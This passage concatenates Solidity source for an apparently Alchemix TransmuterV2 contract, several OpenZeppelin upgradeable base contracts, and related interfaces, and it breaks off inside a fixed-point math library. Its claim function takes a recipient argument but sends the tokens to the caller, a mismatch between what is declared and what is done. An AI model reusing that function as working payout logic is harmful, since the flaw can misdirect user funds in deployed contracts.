TokenUtils.safeTransfer(syntheticToken, recipient, amount);
emit Withdraw(msg.sender, recipient, amount);
}
/// @inheritdoc ITransmuterV2
function claim(uint256 amount, address recipient) external override nonReentrant {
_onlyWhitelisted();
_updateAccount(
UpdateAccountParams({
owner: msg.sender,
unexchangedDelta: 0,
exchangedDelta: -SafeCast.toInt256(_normalizeUnderlyingTokensToDebt(amount))
})
);
TokenUtils.safeBurn(syntheticToken, _normalizeUnderlyingTokensToDebt(amount));
ITransmuterBuffer(buffer).withdraw(underlyingToken, amount, msg.sender);
emit Claim(msg.sender, recipient, amount);
}
/// @inheritdoc ITransmuterV2
function exchange(uint256 amount) external override nonReentrant onlyBuffer notPaused {
uint256 normaizedAmount = _normalizeUnderlyingTokensToDebt(amount);
if (totalUnexchanged == 0) {
totalBuffered += normaizedAmount;
emit Exchange(msg.sender, amount);
return;
}
// Push a storage reference to the current tick.
Tick.Info storage current = ticks.current();
ExchangeCache memory cache = ExchangeCache({
totalUnexchanged: totalUnexchanged,
satisfiedTick: satisfiedTick,
ticksHead: ticks.head
});
ExchangeState memory state = ExchangeState({
examineTick: cache.ticksHead,
totalUnexchanged: cache.totalUnexchanged,
satisfiedTick: cache.satisfiedTick,
distributeAmount: normaizedAmount,
accumulatedWeight: current.accumulatedWeight,
maximumWeight: FixedPointMath.encode(0),
dustedWeight: FixedPointMath.encode(0)
});
// Distribute the buffered tokens as part of the exchange.
state.distributeAmount += totalBuffered;
totalBuffered = 0;
// Push a storage reference to the next tick to write to.
Tick.Info storage next = ticks.next();
// Only iterate through the active ticks queue when it is not empty.
while (state.examineTick != 0) {
// Check if there is anything left to distribute.
if (state.distributeAmount == 0) {
break;
}
Tick.Info storage examineTickData = ticks.get(state.examineTick);
// Add the weight for the distribution step to the accumulated weight.
state.accumulatedWeight = state.accumulatedWeight.add(
FixedPointMath.rational(state.distributeAmount, state.totalUnexchanged)
);
// Clear the distribute amount.
state.distributeAmount = 0;
// Calculate the current maximum weight in the system.
state.maximumWeight = state.accumulatedWeight.sub(examineTickData.accumulatedWeight);
// Check if there exists at least one account which is completely satisfied..
if (state.maximumWeight.n < FixedPointMath.ONE) {
break;
}
// Calculate how much weight of the distributed weight is dust.
state.dustedWeight = FixedPointMath.Number(state.maximumWeight.n - FixedPointMath.ONE);
// Calculate how many tokens to distribute in the next step. These are tokens from any tokens which
// were over allocated to accounts occupying the tick with the maximum weight.
state.distributeAmount = LiquidityMath.calculateProduct(examineTickData.totalBalance, state.dustedWeight);
// Remove the tokens which were completely exchanged from the total unexchanged balance.
state.totalUnexchanged -= examineTickData.totalBalance;
// Write that all ticks up to and including the examined tick have been satisfied.
state.satisfiedTick = state.examineTick;
// Visit the next active tick. This is equivalent to popping the head of the active ticks queue.
state.examineTick = examineTickData.next;
}
// Write the accumulated weight to the next tick.
next.accumulatedWeight = state.accumulatedWeight;
if (cache.totalUnexchanged != state.totalUnexchanged) {
totalUnexchanged = state.totalUnexchanged;
}
if (cache.satisfiedTick != state.satisfiedTick) {
satisfiedTick = state.satisfiedTick;
}
if (cache.ticksHead != state.examineTick) {
ticks.head = state.examineTick;
}
if (state.distributeAmount > 0) {
totalBuffered += state.distributeAmount;
}
emit Exchange(msg.sender, amount);
}
/// @inheritdoc ITransmuterV2
function getUnexchangedBalance(address owner) external view override returns (uint256 unexchangedBalance) {
Account storage account = accounts[owner];
if (account.occupiedTick <= satisfiedTick) {
return 0;
}
unexchangedBalance = account.unexchangedBalance;
uint256 exchanged = LiquidityMath.calculateProduct(
unexchangedBalance,
ticks.getWeight(account.occupiedTick, ticks.position)
);
unexchangedBalance -= exchanged;
return unexchangedBalance;
}
/// @inheritdoc ITransmuterV2
function getExchangedBalance(address owner) external view override returns (uint256 exchangedBalance) {
return _getExchangedBalance(owner);
}
function getClaimableBalance(address owner) external view override returns (uint256 claimableBalance) {
return _normalizeDebtTokensToUnderlying(_getExchangedBalance(owner));
}
/// @dev Updates an account.
///
/// @param params The call parameters.
function _updateAccount(UpdateAccountParams memory params) internal {
Account storage account = accounts[params.owner];
UpdateAccountCache memory cache = UpdateAccountCache({
unexchangedBalance: account.unexchangedBalance,
exchangedBalance: account.exchangedBalance,
occupiedTick: account.occupiedTick,
totalUnexchanged: totalUnexchanged,
currentTick: ticks.position
});
UpdateAccountState memory state = UpdateAccountState({
unexchangedBalance: cache.unexchangedBalance,
exchangedBalance: cache.exchangedBalance,
totalUnexchanged: cache.totalUnexchanged
});
// Updating an account is broken down into five steps:
// 1). Synchronize the account if it previously occupied a satisfied tick
// 2). Update the account balances to account for exchanged tokens, if any
// 3). Apply the deltas to the account balances
// 4). Update the previously occupied and or current tick's liquidity
// 5). Commit changes to the account and global state when needed
// Step one:
// ---------
// Check if the tick that the account was occupying previously was satisfied. If it was, we acknowledge
// that all of the tokens were exchanged.
if (state.unexchangedBalance > 0 && satisfiedTick >= cache.occupiedTick) {
state.unexchangedBalance = 0;
state.exchangedBalance += cache.unexchangedBalance;
}
// Step Two:
// ---------
// Calculate how many tokens were exchanged since the last update.
if (state.unexchangedBalance > 0) {
uint256 exchanged = LiquidityMath.calculateProduct(
state.unexchangedBalance,
ticks.getWeight(cache.occupiedTick, cache.currentTick)
);
state.totalUnexchanged -= exchanged;
state.unexchangedBalance -= exchanged;
state.exchangedBalance += exchanged;
}
// Step Three:
// -----------
// Apply the unexchanged and exchanged deltas to the state.
state.totalUnexchanged = LiquidityMath.addDelta(state.totalUnexchanged, params.unexchangedDelta);
state.unexchangedBalance = LiquidityMath.addDelta(state.unexchangedBalance, params.unexchangedDelta);
state.exchangedBalance = LiquidityMath.addDelta(state.exchangedBalance, params.exchangedDelta);
// Step Four:
// ----------
// The following is a truth table relating various values which in combinations specify which logic branches
// need to be executed in order to update liquidity in the previously occupied and or current tick.
//
// Some states are not obtainable and are just discarded by setting all the branches to false.
//
// | P | C | M | Modify Liquidity | Add Liquidity | Subtract Liquidity |
// |---|---|---|------------------|---------------|--------------------|
// | F | F | F | F | F | F |
// | F | F | T | F | F | F |
// | F | T | F | F | T | F |
// | F | T | T | F | T | F |
// | T | F | F | F | F | T |
// | T | F | T | F | F | T |
// | T | T | F | T | F | F |
// | T | T | T | F | T | T |
//
// | Branch | Reduction |
// |--------------------|-----------|
// | Modify Liquidity | PCM' |
// | Add Liquidity | P'C + CM |
// | Subtract Liquidity | PC' + PM |
bool previouslyActive = cache.unexchangedBalance > 0;
bool currentlyActive = state.unexchangedBalance > 0;
bool migrate = cache.occupiedTick != cache.currentTick;
bool modifyLiquidity = previouslyActive && currentlyActive && !migrate;
if (modifyLiquidity) {
Tick.Info storage tick = ticks.get(cache.occupiedTick);
// Consolidate writes to save gas.
uint256 totalBalance = tick.totalBalance;
totalBalance -= cache.unexchangedBalance;
totalBalance += state.unexchangedBalance;
tick.totalBalance = totalBalance;
} else {
bool addLiquidity = (!previouslyActive && currentlyActive) || (currentlyActive && migrate);
bool subLiquidity = (previouslyActive && !currentlyActive) || (previouslyActive && migrate);
if (addLiquidity) {
Tick.Info storage tick = ticks.get(cache.currentTick);
if (tick.totalBalance == 0) {
ticks.addLast(cache.currentTick);
}
tick.totalBalance += state.unexchangedBalance;
}
if (subLiquidity) {
Tick.Info storage tick = ticks.get(cache.occupiedTick);
tick.totalBalance -= cache.unexchangedBalance;
if (tick.totalBalance == 0) {
ticks.remove(cache.occupiedTick);
}
}
}
// Step Five:
// ----------
// Commit the changes to the account.
if (cache.unexchangedBalance != state.unexchangedBalance) {
account.unexchangedBalance = state.unexchangedBalance;
}
if (cache.exchangedBalance != state.exchangedBalance) {
account.exchangedBalance = state.exchangedBalance;
}
if (cache.totalUnexchanged != state.totalUnexchanged) {
totalUnexchanged = state.totalUnexchanged;
}
if (cache.occupiedTick != cache.currentTick) {
account.occupiedTick = cache.currentTick;
}
}
/// @dev Checks the whitelist for msg.sender.
///
/// @notice Reverts if msg.sender is not in the whitelist.
function _onlyWhitelisted() internal view {
// Check if the message sender is an EOA. In the future, this potentially may break. It is important that
// functions which rely on the whitelist not be explicitly vulnerable in the situation where this no longer
// holds true.
if (tx.origin != msg.sender) {
// Only check the whitelist for calls from contracts.
if (!IWhitelist(whitelist).isWhitelisted(msg.sender)) {
revert Unauthorized();
}
}
}
/// @dev Normalize `amount` of `underlyingToken` to a value which is comparable to units of the debt token.
///
/// @param amount The amount of the debt token.
///
/// @return The normalized amount.
function _normalizeUnderlyingTokensToDebt(uint256 amount) internal view returns (uint256) {
return amount * conversionFactor;
}
/// @dev Normalize `amount` of the debt token to a value which is comparable to units of `underlyingToken`.
///
/// @dev This operation will result in truncation of some of the least significant digits of `amount`. This
/// truncation amount will be the least significant N digits where N is the difference in decimals between
/// the debt token and the underlying token.
///
/// @param amount The amount of the debt token.
///
/// @return The normalized amount.
function _normalizeDebtTokensToUnderlying(uint256 amount) internal view returns (uint256) {
return amount / conversionFactor;
}
function _getExchangedBalance(address owner) internal view returns (uint256 exchangedBalance) {
Account storage account = accounts[owner];
if (account.occupiedTick <= satisfiedTick) {
exchangedBalance = account.exchangedBalance;
exchangedBalance += account.unexchangedBalance;
return exchangedBalance;
}
exchangedBalance = account.exchangedBalance;
uint256 exchanged = LiquidityMath.calculateProduct(
account.unexchangedBalance,
ticks.getWeight(account.occupiedTick, ticks.position)
);
exchangedBalance += exchanged;
return exchangedBalance;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/AccessControl.sol)
pragma solidity ^0.8.0;
import "./IAccessControlUpgradeable.sol";
import "../utils/ContextUpgradeable.sol";
import "../utils/StringsUpgradeable.sol";
import "../utils/introspection/ERC165Upgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControlUpgradeable is Initializable, ContextUpgradeable, IAccessControlUpgradeable, ERC165Upgradeable {
function __AccessControl_init() internal onlyInitializing {
__Context_init_unchained();
__ERC165_init_unchained();
__AccessControl_init_unchained();
}
function __AccessControl_init_unchained() internal onlyInitializing {
}
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Modifier that checks that an account has a specific role. Reverts
* with a standardized message including the required role.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*
* _Available since v4.1._
*/
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControlUpgradeable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].members[account];
}
/**
* @dev Revert with a standard message if `account` is missing `role`.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*/
function _checkRole(bytes32 role, address account) internal view {
if (!hasRole(role, account)) {
revert(
string(
abi.encodePacked(
"AccessControl: account ",
StringsUpgradeable.toHexString(uint160(account), 20),
" is missing role ",
StringsUpgradeable.toHexString(uint256(role), 32)
)
)
);
}
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been revoked `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*
* NOTE: This function is deprecated in favor of {_grantRole}.
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
bytes32 previousAdminRole = getRoleAdmin(role);
_roles[role].adminRole = adminRole;
emit RoleAdminChanged(role, previousAdminRole, adminRole);
}
/**
* @dev Grants `role` to `account`.
*
* Internal function without access restriction.
*/
function _grantRole(bytes32 role, address account) internal virtual {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
/**
* @dev Revokes `role` from `account`.
*
* Internal function without access restriction.
*/
function _revokeRole(bytes32 role, address account) internal virtual {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (proxy/utils/Initializable.sol)
pragma solidity ^0.8.0;
import "../../utils/AddressUpgradeable.sol";
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*
* [CAUTION]
* ====
* Avoid leaving a contract uninitialized.
*
* An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation
* contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the
* initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed:
*
* [.hljs-theme-light.nopadding]
* ```
* /// @custom:oz-upgrades-unsafe-allow constructor
* constructor() initializer {}
* ```
* ====
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
// If the contract is initializing we ignore whether _initialized is set in order to support multiple
// inheritance patterns, but we only do this in the context of a constructor, because in other contexts the
// contract may have been reentered.
require(_initializing ? _isConstructor() : !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/**
* @dev Modifier to protect an initialization function so that it can only be invoked by functions with the
* {initializer} modifier, directly or indirectly.
*/
modifier onlyInitializing() {
require(_initializing, "Initializable: contract is not initializing");
_;
}
function _isConstructor() private view returns (bool) {
return !AddressUpgradeable.isContract(address(this));
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuardUpgradeable is Initializable {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
function __ReentrancyGuard_init() internal onlyInitializing {
__ReentrancyGuard_init_unchained();
}
function __ReentrancyGuard_init_unchained() internal onlyInitializing {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
uint256[49] private __gap;
}
pragma solidity ^0.8.11;
/// @notice An error used to indicate that an action could not be completed because either the `msg.sender` or
/// `msg.origin` is not authorized.
error Unauthorized();
/// @notice An error used to indicate that an action could not be completed because the contract either already existed
/// or entered an illegal condition which is not recoverable from.
error IllegalState();
/// @notice An error used to indicate that an action could not be completed because of an illegal argument was passed
/// to the function.
error IllegalArgument();
pragma solidity ^0.8.11;
import "../base/Errors.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "../libraries/Sets.sol";
/// @title Whitelist
/// @author Alchemix Finance
interface IWhitelist {
/// @dev Emitted when a contract is added to the whitelist.
///
/// @param account The account that was added to the whitelist.
event AccountAdded(address account);
/// @dev Emitted when a contract is removed from the whitelist.
///
/// @param account The account that was removed from the whitelist.
event AccountRemoved(address account);
/// @dev Emitted when the whitelist is deactivated.
event WhitelistDisabled();
/// @dev Returns the list of addresses that are whitelisted for the given contract address.
///
/// @return addresses The addresses that are whitelisted to interact with the given contract.
function getAddresses() external view returns (address[] memory addresses);
/// @dev Returns the disabled status of a given whitelist.
///
/// @return disabled A flag denoting if the given whitelist is disabled.
function disabled() external view returns (bool);
/// @dev Adds an contract to the whitelist.
///
/// @param caller The address to add to the whitelist.
function add(address caller) external;
/// @dev Adds a contract to the whitelist.
///
/// @param caller The address to remove from the whitelist.
function remove(address caller) external;
/// @dev Disables the whitelist of the target whitelisted contract.
///
/// This can only occur once. Once the whitelist is disabled, then it cannot be reenabled.
function disable() external;
/// @dev Checks that the `msg.sender` is whitelisted when it is not an EOA.
///
/// @param account The account to check.
///
/// @return whitelisted A flag denoting if the given account is whitelisted.
function isWhitelisted(address account) external view returns (bool);
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.5.0;
/// @title ITransmuterV2
/// @author Alchemix Finance
interface ITransmuterV2 {
/// @notice Emitted when the admin address is updated.
///
/// @param admin The new admin address.
event AdminUpdated(address admin);
/// @notice Emitted when the pending admin address is updated.
///
/// @param pendingAdmin The new pending admin address.
event PendingAdminUpdated(address pendingAdmin);
/// @notice Emitted when the system is paused or unpaused.
///
/// @param flag `true` if the system has been paused, `false` otherwise.
event Paused(bool flag);
/// @dev Emitted when a deposit is performed.
///
/// @param sender The address of the depositor.
/// @param owner The address of the account that received the deposit.
/// @param amount The amount of tokens deposited.
event Deposit(
address indexed sender,
address indexed owner,
uint256 amount
);
/// @dev Emitted when a withdraw is performed.
///
/// @param sender The address of the `msg.sender` executing the withdraw.
/// @param recipient The address of the account that received the withdrawn tokens.
/// @param amount The amount of tokens withdrawn.
event Withdraw(
address indexed sender,
address indexed recipient,
uint256 amount
);
/// @dev Emitted when a claim is performed.
///
/// @param sender The address of the claimer / account owner.
/// @param recipient The address of the account that received the claimed tokens.
/// @param amount The amount of tokens claimed.
event Claim(
address indexed sender,
address indexed recipient,
uint256 amount
);
/// @dev Emitted when an exchange is performed.
///
/// @param sender The address that called `exchange()`.
/// @param amount The amount of tokens exchanged.
event Exchange(
address indexed sender,
uint256 amount
);
/// @notice Gets the version.
///
/// @return The version.
function version() external view returns (string memory);
/// @dev Gets the supported underlying token.
///
/// @return The underlying token.
function underlyingToken() external view returns (address);
/// @notice Gets the address of the whitelist contract.
///
/// @return whitelist The address of the whitelist contract.
function whitelist() external view returns (address whitelist);
/// @dev Gets the unexchanged balance of an account.
///
/// @param owner The address of the account owner.
///
/// @return The unexchanged balance.
function getUnexchangedBalance(address owner) external view returns (uint256);
/// @dev Gets the exchanged balance of an account, in units of `debtToken`.
///
/// @param owner The address of the account owner.
///
/// @return The exchanged balance.
function getExchangedBalance(address owner) external view returns (uint256);
/// @dev Gets the claimable balance of an account, in units of `underlyingToken`.
///
/// @param owner The address of the account owner.
///
/// @return The claimable balance.
function getClaimableBalance(address owner) external view returns (uint256);
/// @dev The conversion factor used to convert between underlying token amounts and debt token amounts.
///
/// @return The coversion factor.
function conversionFactor() external view returns (uint256);
/// @dev Deposits tokens to be exchanged into an account.
///
/// @param amount The amount of tokens to deposit.
/// @param owner The owner of the account to deposit the tokens into.
function deposit(uint256 amount, address owner) external;
/// @dev Withdraws tokens from the caller's account that were previously deposited to be exchanged.
///
/// @param amount The amount of tokens to withdraw.
/// @param recipient The address which will receive the withdrawn tokens.
function withdraw(uint256 amount, address recipient) external;
/// @dev Claims exchanged tokens.
///
/// @param amount The amount of tokens to claim.
/// @param recipient The address which will receive the claimed tokens.
function claim(uint256 amount, address recipient) external;
/// @dev Exchanges `amount` underlying tokens for `amount` synthetic tokens staked in the system.
///
/// @param amount The amount of tokens to exchange.
function exchange(uint256 amount) external;
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.5.0;
import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol";
import "./ITransmuterV2.sol";
import "../IAlchemistV2.sol";
import "../IERC20TokenReceiver.sol";
/// @title ITransmuterBuffer
/// @author Alchemix Finance
interface ITransmuterBuffer is IERC20TokenReceiver {
/// @notice Parameters used to define a given weighting schema.
///
/// Weighting schemas can be used to generally weight assets in relation to an action or actions that will be taken.
/// In the TransmuterBuffer, there are 2 actions that require weighting schemas: `burnCredit` and `depositFunds`.
///
/// `burnCredit` uses a weighting schema that determines which yield-tokens are targeted when burning credit from
/// the `Account` controlled by the TransmuterBuffer, via the `Alchemist.donate` function.
///
/// `depositFunds` uses a weighting schema that determines which yield-tokens are targeted when depositing
/// underlying-tokens into the Alchemist.
struct Weighting {
// The weights of the tokens used by the schema.
mapping(address => uint256) weights;
// The tokens used by the schema.
address[] tokens;
// The total weight of the schema (sum of the token weights).
uint256 totalWeight;
}
/// @notice Emitted when the alchemist is set.
///
/// @param alchemist The address of the alchemist.
event SetAlchemist(address alchemist);
/// @notice Emitted when an underlying token is registered.
///
/// @param underlyingToken The address of the underlying token.
/// @param transmuter The address of the transmuter for the underlying token.
event RegisterAsset(address underlyingToken, address transmuter);
/// @notice Emitted when an underlying token's flow rate is updated.
///
/// @param underlyingToken The underlying token.
/// @param flowRate The flow rate for the underlying token.
event SetFlowRate(address underlyingToken, uint256 flowRate);
/// @notice Emitted when the strategies are refreshed.
event RefreshStrategies();
/// @notice Emitted when a source is set.
event SetSource(address source, bool flag);
/// @notice Emitted when a transmuter is updated.
event SetTransmuter(address underlyingToken, address transmuter);
/// @notice Gets the current version.
///
/// @return The version.
function version() external view returns (string memory);
/// @notice Gets the total credit held by the TransmuterBuffer.
///
/// @return The total credit.
function getTotalCredit() external view returns (uint256);
/// @notice Gets the total amount of underlying token that the TransmuterBuffer controls in the Alchemist.
///
/// @param underlyingToken The underlying token to query.
///
/// @return totalBuffered The total buffered.
function getTotalUnderlyingBuffered(address underlyingToken) external view returns (uint256 totalBuffered);
/// @notice Gets the total available flow for the underlying token
///
/// The total available flow will be the lesser of `flowAvailable[token]` and `getTotalUnderlyingBuffered`.
///
/// @param underlyingToken The underlying token to query.
///
/// @return availableFlow The available flow.
function getAvailableFlow(address underlyingToken) external view returns (uint256 availableFlow);
/// @notice Gets the weight of the given weight type and token
///
/// @param weightToken The type of weight to query.
/// @param token The weighted token.
///
/// @return weight The weight of the token for the given weight type.
function getWeight(address weightToken, address token) external view returns (uint256 weight);
/// @notice Set a source of funds.
///
/// @param source The target source.
/// @param flag The status to set for the target source.
function setSource(address source, bool flag) external;
/// @notice Set transmuter by admin.
///
/// This function reverts if the caller is not the current admin.
///
/// @param underlyingToken The target underlying token to update.
/// @param newTransmuter The new transmuter for the target `underlyingToken`.
function setTransmuter(address underlyingToken, address newTransmuter) external;
/// @notice Set alchemist by admin.
///
/// This function reverts if the caller is not the current admin.
///
/// @param alchemist The new alchemist whose funds we are handling.
function setAlchemist(address alchemist) external;
/// @notice Refresh the yield-tokens in the TransmuterBuffer.
///
/// This requires a call anytime governance adds a new yield token to the alchemist.
function refreshStrategies() external;
/// @notice Registers an underlying-token.
///
/// This function reverts if the caller is not the current admin.
///
/// @param underlyingToken The underlying-token being registered.
/// @param transmuter The transmuter for the underlying-token.
function registerAsset(address underlyingToken, address transmuter) external;
/// @notice Set flow rate of an underlying token.
///
/// This function reverts if the caller is not the current admin.
///
/// @param underlyingToken The underlying-token getting the flow rate set.
/// @param flowRate The new flow rate.
function setFlowRate(address underlyingToken, uint256 flowRate) external;
/// @notice Sets up a weighting schema.
///
/// @param weightToken The name of the weighting schema.
/// @param tokens The yield-tokens to weight.
/// @param weights The weights of the yield tokens.
function setWeights(address weightToken, address[] memory tokens, uint256[] memory weights) external;
/// @notice Exchanges any available flow into the Transmuter.
///
/// This function is a way for the keeper to force funds to be exchanged into the Transmuter.
///
/// This function will revert if called by any account that is not a keeper. If there is not enough local balance of
/// `underlyingToken` held by the TransmuterBuffer any additional funds will be withdrawn from the Alchemist by
/// unwrapping `yieldToken`.
///
/// @param underlyingToken The address of the underlying token to exchange.
function exchange(address underlyingToken) external;
/// @notice Burns available credit in the alchemist.
function burnCredit() external;
/// @notice Deposits local collateral into the alchemist
///
/// @param underlyingToken The collateral to deposit.
/// @param amount The amount to deposit.
function depositFunds(address underlyingToken, uint256 amount) external;
/// @notice Withdraws collateral from the alchemist
///
/// This function reverts if:
/// - The caller is not the transmuter.
/// - There is not enough flow available to fulfill the request.
/// - There is not enough underlying collateral in the alchemist controlled by the buffer to fulfil the request.
///
/// @param underlyingToken The underlying token to withdraw.
/// @param amount The amount to withdraw.
/// @param recipient The account receiving the withdrawn funds.
function withdraw(
address underlyingToken,
uint256 amount,
address recipient
) external;
/// @notice Withdraws collateral from the alchemist
///
/// @param yieldToken The yield token to withdraw.
/// @param shares The amount of Alchemist shares to withdraw.
/// @param minimumAmountOut The minimum amount of underlying tokens needed to be recieved as a result of unwrapping the yield tokens.
function withdrawFromAlchemist(
address yieldToken,
uint256 shares,
uint256 minimumAmountOut
) external;
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.11;
/**
* @notice A library which implements fixed point decimal math.
*/
library FixedPointMath {
/** @dev This will give approximately 60 bits of precision */
uint256 public constant DECIMALS = 18;
uint256 public constant ONE = 10**DECIMALS;
/**
* @notice A struct representing a fixed point decimal.
*/
struct Number {
uint256 n;
}
/**
* @notice Encodes a unsigned 256-bit integer into a fixed point decimal.
*
* @param value The value to encode.
* @return The fixed point decimal representation.
*/
function encode(uint256 value) internal pure returns (Number memory) {
return Number(FixedPointMath.encodeRaw(value));
}
/**
* @notice Encodes a unsigned 256-bit integer into a uint256 representation of a
* fixed point decimal.
*
* @param value The value to encode.
* @return The fixed point decimal representation.
*/
function encodeRaw(uint256 value) internal pure returns (uint256) {
return value * ONE;
}
/**
* @notice Encodes a uint256 MAX VALUE into a uint256 representation of a
* fixed point decimal.
*
* @return The uint256 MAX VALUE fixed point decimal representation.
*/
